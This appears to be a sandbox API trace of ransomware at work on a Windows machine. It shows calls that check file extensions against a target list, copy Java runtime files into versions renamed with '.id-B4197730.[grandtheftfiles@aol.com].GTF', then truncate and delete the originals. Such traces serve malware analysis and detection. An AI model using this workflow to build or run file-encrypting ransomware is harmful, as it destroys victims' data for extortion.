	[0157.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.400] lstrlenW (lpString=".1cd") returned 4
	[0157.400] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.400] lstrlenW (lpString=".jpg") returned 4
	[0157.400] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.400] lstrlenW (lpString=".doc") returned 4
	[0157.400] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.400] lstrlenW (lpString=".docx") returned 5
	[0157.400] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0157.400] lstrlenW (lpString=".pdf") returned 4
	[0157.400] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.401] lstrlenW (lpString=".xls") returned 4
	[0157.401] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.401] lstrlenW (lpString=".xlsx") returned 5
	[0157.401] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0157.401] lstrlenW (lpString=".ppt") returned 4
	[0157.401] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.401] lstrlenW (lpString=".zip") returned 4
	[0157.401] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.401] lstrlenW (lpString=".rar") returned 4
	[0157.401] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.401] lstrlenW (lpString=".bz2") returned 4
	[0157.401] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.401] lstrlenW (lpString=".7z") returned 3
	[0157.401] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.401] lstrlenW (lpString=".dbf") returned 4
	[0157.401] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.401] lstrlenW (lpString=".1cd") returned 4
	[0157.401] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.401] lstrlenW (lpString=".jpg") returned 4
	[0157.401] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.401] lstrcmpiW (lpString1=".src", lpString2=".GTF") returned 1
	[0157.401] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0157.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.402] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10568) returned 1
	[0157.402] CloseHandle (hObject=0x4bc) returned 1
	[0157.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20
	[0157.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.403] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.403] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.403] GetLastError () returned 0x0
	[0157.403] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2948, lpOverlapped=0x0) returned 1
	[0157.405] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2950, lpOverlapped=0x0) returned 1
	[0157.406] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.406] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0157.407] SetEndOfFile (hFile=0x418) returned 1
	[0157.407] CloseHandle (hObject=0x418) returned 1
	[0157.409] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.409] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.697] CloseHandle (hObject=0x4bc) returned 1
	[0157.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.991] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1
	[0158.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.358] lstrlenW (lpString=".doc") returned 4
	[0158.358] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0158.358] lstrlenW (lpString=".docx") returned 5
	[0158.358] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0158.358] lstrlenW (lpString=".pdf") returned 4
	[0158.358] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0158.358] lstrlenW (lpString=".xls") returned 4
	[0158.358] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0158.358] lstrlenW (lpString=".xlsx") returned 5
	[0158.358] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0158.358] lstrlenW (lpString=".ppt") returned 4
	[0158.359] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString=".zip") returned 4
	[0158.359] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0158.359] lstrlenW (lpString=".rar") returned 4
	[0158.359] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString=".bz2") returned 4
	[0158.359] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString=".7z") returned 3
	[0158.359] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString=".dbf") returned 4
	[0158.359] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString=".1cd") returned 4
	[0158.359] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString=".jpg") returned 4
	[0158.359] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString=".doc") returned 4
	[0158.359] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString=".docx") returned 5
	[0158.359] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0158.359] lstrlenW (lpString=".pdf") returned 4
	[0158.359] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString=".xls") returned 4
	[0158.359] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0158.359] lstrlenW (lpString=".xlsx") returned 5
	[0158.359] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0158.359] lstrlenW (lpString=".ppt") returned 4
	[0158.359] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0158.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.359] lstrlenW (lpString=".zip") returned 4
	[0158.359] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0158.359] lstrlenW (lpString=".rar") returned 4
	[0158.360] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0158.360] lstrlenW (lpString=".bz2") returned 4
	[0158.360] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0158.360] lstrlenW (lpString=".7z") returned 3
	[0158.360] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0158.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.360] lstrlenW (lpString=".dbf") returned 4
	[0158.360] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0158.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.360] lstrlenW (lpString=".1cd") returned 4
	[0158.360] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0158.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0158.360] lstrlenW (lpString=".jpg") returned 4
	[0158.360] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0158.360] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0158.360] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0158.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.481] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=344908) returned 1
	[0158.481] CloseHandle (hObject=0x4bc) returned 1
	[0158.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20
	[0158.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.482] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.482] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.482] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.482] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0158.483] GetLastError () returned 0x0
	[0158.483] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5434c, lpOverlapped=0x0) returned 1
	[0158.496] WriteFile (in: hFile=0x488, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x54350, lpOverlapped=0x0) returned 1
	[0158.502] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.502] WriteFile (in: hFile=0x488, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x102, lpOverlapped=0x0) returned 1
	[0158.502] SetEndOfFile (hFile=0x488) returned 1
	[0158.502] CloseHandle (hObject=0x488) returned 1
	[0158.503] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.503] SetEndOfFile (hFile=0x4bc) returned 1
	[0158.511] CloseHandle (hObject=0x4bc) returned 1
	[0158.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0158.512] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1
	[0158.512] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString=".doc") returned 4
	[0158.513] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString=".docx") returned 5
	[0158.513] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0158.513] lstrlenW (lpString=".pdf") returned 4
	[0158.513] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString=".xls") returned 4
	[0158.513] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.513] lstrlenW (lpString=".xlsx") returned 5
	[0158.513] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0158.513] lstrlenW (lpString=".ppt") returned 4
	[0158.513] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString=".zip") returned 4
	[0158.513] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.513] lstrlenW (lpString=".rar") returned 4
	[0158.513] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString=".bz2") returned 4
	[0158.513] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString=".7z") returned 3
	[0158.513] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString=".dbf") returned 4
	[0158.513] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString=".1cd") returned 4
	[0158.513] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString=".jpg") returned 4
	[0158.513] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.513] lstrlenW (lpString=".doc") returned 4
	[0158.513] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString=".docx") returned 5
	[0158.514] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0158.514] lstrlenW (lpString=".pdf") returned 4
	[0158.514] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString=".xls") returned 4
	[0158.514] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.514] lstrlenW (lpString=".xlsx") returned 5
	[0158.514] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0158.514] lstrlenW (lpString=".ppt") returned 4
	[0158.514] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.514] lstrlenW (lpString=".zip") returned 4
	[0158.514] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.514] lstrlenW (lpString=".rar") returned 4
	[0158.514] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString=".bz2") returned 4
	[0158.514] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString=".7z") returned 3
	[0158.514] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.514] lstrlenW (lpString=".dbf") returned 4
	[0158.514] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.514] lstrlenW (lpString=".1cd") returned 4
	[0158.514] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0158.514] lstrlenW (lpString=".jpg") returned 4
	[0158.514] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.514] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0158.514] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0158.514] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.515] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=698236) returned 1
	[0158.515] CloseHandle (hObject=0x4bc) returned 1
	[0158.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20
	[0158.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.515] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0158.516] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.516] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0158.516] GetLastError () returned 0x0
	[0158.516] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xaa77c, lpOverlapped=0x0) returned 1
	[0158.773] WriteFile (in: hFile=0x488, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xaa780, lpOverlapped=0x0) returned 1
	[0158.785] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.785] WriteFile (in: hFile=0x488, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfe, lpOverlapped=0x0) returned 1
	[0158.786] SetEndOfFile (hFile=0x488) returned 1
	[0158.786] CloseHandle (hObject=0x488) returned 1
	[0158.786] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.786] SetEndOfFile (hFile=0x4bc) returned 1
	[0159.033] CloseHandle (hObject=0x4bc) returned 1
	[0159.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0159.199] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1
	[0159.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.525] lstrlenW (lpString=".doc") returned 4
	[0159.525] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0159.525] lstrlenW (lpString=".docx") returned 5
	[0159.526] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0159.526] lstrlenW (lpString=".pdf") returned 4
	[0159.526] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString=".xls") returned 4
	[0159.526] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0159.526] lstrlenW (lpString=".xlsx") returned 5
	[0159.526] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0159.526] lstrlenW (lpString=".ppt") returned 4
	[0159.526] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.526] lstrlenW (lpString=".zip") returned 4
	[0159.526] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0159.526] lstrlenW (lpString=".rar") returned 4
	[0159.526] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString=".bz2") returned 4
	[0159.526] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString=".7z") returned 3
	[0159.526] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0159.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.526] lstrlenW (lpString=".dbf") returned 4
